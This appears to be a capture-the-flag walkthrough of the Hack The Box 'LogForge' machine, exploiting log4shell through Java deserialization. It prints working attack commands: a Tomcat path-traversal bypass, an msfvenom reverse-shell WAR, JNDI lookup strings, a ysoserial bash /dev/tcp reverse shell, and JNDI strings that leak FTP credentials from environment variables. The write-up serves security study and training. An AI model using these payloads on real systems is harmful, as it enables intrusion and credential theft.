Using Unsafe Java Deserialization to exploit log4shell — LogForge, HTB

Ankith Bharadwaj
10 min readJan 2, 2022

This is primarily a walkthrough for “LogForge” HTB machine. I’ve already explored exploiting log4shell through the classpath loading method here.

Here we exploit the box using JNDI-Exploit-Kit and YsoSerial, by taking advantage of unsafe java object deserialization. You can skip to the “Exploitation” section to directly jump into this topic.

This also explores how sensitive environment variables can be exfiltrated using log4shell.

MITRE ATT&CK TTPs have been linked like always.

Enumeration

Once we’ve established connection to the Hack The Box network, we’ll try to check for services that are active and softwares we can talk to. We start off with the following nmap scan (T1595.001: Active Scanning: Scanning IP Blocks), to detect open ports and available services.

nmap -sC -sV -O -oA initial 10.10.11.138

  • -sC: Enables script scan using the default set of scripts.
  • -sV: Enables service version detection.
  • -O: Enables operating system detection.
  • -oA: Output all supported file types (which is then stored in the file initial.nmap).

We see that ssh (port 22) and http (port 80) are open. Port 21 and port 8080 seems to be filtered (nmap can’t tell if it is open or closed). We can check out these in more detail once we compromise the machine later.

Let’s now head over to http://10.10.11.138 (port 80 by default), to see if there’s a web page being hosted. The below page is presented to us:

Quickly checking the page’s source, we don’t see anything relevant.

Let’s now make use of Gobuster tool to enumerate the URIs on the above web server, to see if we can find anything interesting.

gobuster dir -u http://10.10.11.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

  • dir: Uses directory/file brutceforcing mode.
  • -u: Specify the URL
  • -w: Specify path to the wordlist

Looking at the above directories (/images, /admin, /manager) it looks to be a Tomcat server. We can confirm this by visiting a non existing resource (/ankith), as seen below.

Also, when we try to load /manager directory (the admin panel for Tomcat), we get a “Forbidden” response (Note Apache/2.4.41 in the response).

Now we know that the web page is being hosted on Tomcat/9.0.31, but our nmap scan and the forbidden response state that the web server runs on Apache httpd 2.4.41 (T1592.002: Gather Victim Host Information: Software). This descrepency can also be noted in the HTTP response header (Server: Apache/2.4.41)

We also know that port 8080 showed up as filtered in the nmap scan (8080 is the default for Tomcat). We should make a note of this fact, as this most likely suggests a “reverse proxy” at play (T1592.004: Gather Victim Host Information: Client Configurations) (T1590.004: Gather Victim Network Information: Network Topology).

Reverse Proxy — Apache httpd 2.4.41
Origin/Back end Server —Tomcat/9.0.31

As we saw earlier, the /manager portal is likely being restricted by Apache reverse-proxy. We can try to see if we can bypass this using a simple path traversal vulnerability (T1190: Exploit Public-Facing Application).

Also, web servers tend to normalize the request path. For example, the path /image/../image/ is normalized to /images/. Tomcat treats the sequence /..;/ as /../ and normalizes the path while reverse proxies will not normalize this sequence and sends it to Apache Tomcat as it is. This gives rise to path normalization discrepancies due to the reverse proxy setup, that we can take advantage of. The following Blackhat talk dwelves more into this.

The following URL gives us access to the management console (the default credentials tomcat:tomcat can be used for authorization):

http://10.10.11.138/ankith/..;/manager/

The following URL can also be used to achieve the same result (this also takes advantage of the path normalization feature in Tomcat):

http://10.10.11.138/;param=value/manager/

Now that we have access to the web management interface of Tomcat we can try to upload and deploy a WAR (Web Application Archive) backdoor file, to achieve persistent shell access (T1505.003: Server Software Component: Web Shell)

We can use msfvenom to generate a .war webshell payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Attack Machine IP> LPORT=9001 -f war -o shell.war

Now we will try to “browse” and “deploy” the .war shell we created:

We see an error message that states that the file size exceeds the maximum permitted size, which is 1 byte.

We know that Tomcat is Java based; this means that there is a strong likelihood that log4j is supported and is being used for logging. We can quickly check if it’s vulnerable to log4shell by passing the following JNDI exploit strings in one of the text boxes that allow user input.

${jndi:ldap://10.10.14.8:9001/test}

Before hitting enter, we start a netcat listener on our attack machine, to listen for any incoming connections:

nc -lnvp 9001
  • -n: Do not do any DNS or service lookups
  • -l: Used to specify that nc should listen for an incoming connection
    rather than initiate a connection to a remote host.
  • -v: Have nc give more verbose output.
  • -p: Specifies the source port nc should use

After we hit enter, we see evidence that there is a callback made from the target web server, due to the default JNDI lookups feature affecting vulnerable log4j.

Foothold & Exploitation

In my previous THM “Solar” write-up we achieved code execution by crafting a malicious Java class file that was then downloaded and executed on the target machine. This is possible only when Classpath loading feature is available (usually in lower versions of Java).

Here we will explore another method by making use of ysoserial (Java Deserialization Exploit Kit) to execute arbitrary code (T1203: Exploitation for Client Execution).

ysoserial is a proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
It is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.

Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.

A brief about Serialization can be found in this wiki page — https://en.wikipedia.org/wiki/Serialization

PAN Cortex XDR folks have also written a great article about how their EDR blocks log4shell related Java Deserialization exploit attempts before exploitation or post-exploitation can occur:

We will use a slightly tweaked version of ysoserial called ysoserial-modiefied. This allows us to use more complex commands in our payload.

We will use JNDI-Exploit-Kit to provide LDAP services and also since it supports staging ysoserial payloads.

We download the tools on to our attack machine (T1588.002: Obtain Capabilities: Tool):

sudo git clone https://github.com/pimps/ysoserial-modified.gitsudo git clone https://github.com/pimps/JNDI-Exploit-Kit.git

Going into the /target directory under ysoserial-modified, we can use the following command to display the available payloads:

java -jar ysoserial-modified.jar -h

CommonCollections set of “gadget chains” is a good place to start. We will use the following command that contains a bash one-liner (T1059.004: Command and Scripting Interpreter: Unix Shell) to create a serialized payload — payload.ser:

sudo java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.6/9001 0>&1' > ~/logforge/payload.ser

Now we go into JNDI-Exploit-Kit/target to stand up an Ldap server that hosts our payload we just created (T1608.001: Stage Capabilities: Upload Malware).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.6:1389 -P ~/logforge/payload.ser

We also get options for various links to be used with our JNDI string, for the different JDK versions. We will assume that the target tomcat server uses v1.8 and use the following exploit string:

${jndi:ldap://10.10.14.6:1389/sbj2cw}

We will insert this into one of the user input boxes on the management console, like we did earlier. Before we hit enter we will start a netcat listener to catch the reverse shell (T1095: Non-Application Layer Protocol):

nc -lnvp 9001

It works! Now we’ll stabilize our reverse-shell by following the below steps:

(on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"(press on your keyboard) Ctrl+Z(press on your keyboard) Enter(on your local host) stty raw -echo; fg (and hit Enter)(press on your keyboard) Enter(press on your keyboard) Enter(on the reverse shell) export TERM=xterm

We can find the user.txt user flag under /home/htb directory.

Now that we have access to the tomcat user, we can review port 8080 that showed as filtered. It’s just the webpage we encountered earlier.

curl localhost:8080

Exfiltrating FTP env variables

Let’s now check out port 21 (ftp) that also came out as filtered. Let’s run the ps command and grep for “ftp” (T1057: Process Discovery).

ps -aux | grep 'ftp'

In the cmd line argument we see a .jar file called /root/ftpServer-1.0-SNAPSHOT-all.jar, where java seems to be running an ftp server. We can quickly check if it’s vulnerable to log4shell as well.

We get a callback on our netcat listener, that confirms our assumption. There are no known “gadget chains”/CommonCollections in ysoserial that we can use to exploit this server (like how we did the tomcat server). We also can’t use classpath loading through a Java class file, since it’s running the latest version of java.

Let’s try to see the contents of the .jar file first. We will need to decompile the file first to see the source code. For this, let’s transfer it to our attack machine using netcat (T1041: Exfiltration Over C2 Channel).

On the attack machine: nc -lnvp 8001 > ftpServer.jarOn the target machine: nc 10.10.14.6 8001 < ftpServer-1.0-SNAPSHOT-all.jar

We can verify the integrity of the file using md5sum command:

md5sum <filename>

Both the files should produce a hash value of abd783cb9ebfb7d23a8842ab2ac48dae.

Now we can use a utility called JD-GUI to view the Java source code.

Opening JD-GUI we see the main “.class” files — Server.class & Worker.class. We also see file references to log4j. The Worker.class contains references to env variables “ftp_user” & “ ftp_password”, which seem to be the user entered username and password for the FTP service. By compromising these we should be able to get access to the FTP server running as root.

Since we know that this FTP server is vulnerable to log4j, we can pass these env variables in the JNDI exploit string and try to exfil this data over the network (JNDI will perform lookups for these values and substitute it for us). We can then use Wireshark to sniff this out from the pcaps (T1040: Network Sniffing).

Let’s pass the following string which contains the user env variable in the path:

${jndi:ldap://10.10.14.6:1389/ftp_user:${env:ftp_user}}

We can seen the username — ippsec, in the request stream.

Replicating the same for the password variable:

${jndi:ldap://10.10.14.6:1389/ftp_password:${env:ftp_password}}
username: ippsec
password: log4j_env_leakage

We can now successfully log-in to the ftp server (T1078.003: Valid Accounts: Local Accounts):

Now let’s grab the root.txt flag. The command get root.txt will fail as we do not have write perms in the root directory. We can change into /tmp directory using lcd and then issue the get command. We can now view the root.txt flag (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol).

List of MITRE ATT&CK® TTPs Encountered

Reconnaissance

T1595.001: Active Scanning: Scanning IP Blocks
T1592.002: Gather Victim Host Information: Software
T1592.004: Gather Victim Host Information: Client Configurations
T1590.004: Gather Victim Network Information: Network Topology

Resource Development

T1608.001: Stage Capabilities: Upload Malware
T1588.002: Obtain Capabilities: Tool

Execution

T1203: Exploitation for Client Execution
T1059.004: Command and Scripting Interpreter: Unix Shell

Credential Access

T1040: Network Sniffing

Discovery

T1057: Process Discovery

Persistence

T1505.003: Server Software Component: Web Shell

Privilege Escalation

T1078.003: Valid Accounts: Local Accounts

Command & Control

T1095: Non-Application Layer Protocol

Exfiltration

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
T1041: Exfiltration Over C2 Channel

References

--

--